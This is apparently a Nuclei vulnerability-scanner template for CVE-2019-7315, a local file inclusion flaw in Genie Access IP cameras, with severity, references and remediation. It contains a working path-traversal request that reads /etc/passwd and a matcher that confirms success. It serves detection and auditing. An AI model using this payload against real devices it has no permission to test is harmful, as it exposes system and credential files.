id: CVE-2019-7315

info:
  name: Genie Access WIP3BVAF IP Camera - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Genie Access WIP3BVAF WISH IP 3MP IR Auto Focus Bullet Camera devices through 3.X are vulnerable to local file inclusion via the web interface, as demonstrated by reading /etc/shadow.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the system.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the local file inclusion vulnerability.
  reference:
    - https://labs.nettitude.com/blog/cve-2019-7315-genie-access-wip3bvaf-ip-camera-directory-traversal/
    - https://vuldb.com/?id.136593
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7315
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-7315
    cwe-id: CWE-22
    epss-score: 0.0172
    epss-percentile: 0.87556
    cpe: cpe:2.3:o:genieaccess:wip3bvaf_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: genieaccess
    product: wip3bvaf_firmware
  tags: cve,cve2019,camera,genie,lfi,iot,genieaccess

http:
  - method: GET
    path:
      - "{{BaseURL}}/../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022056f1e31a5e091e34f6cd5fed41608e0b77b7fa9e64fd560c2b0a8fad231d3f57022100dcc7c5731a1d90478601c9e4e2c93a873d04f640d036189f295aa48028dbc5df:922c64590222798bb761d5b6d8e72950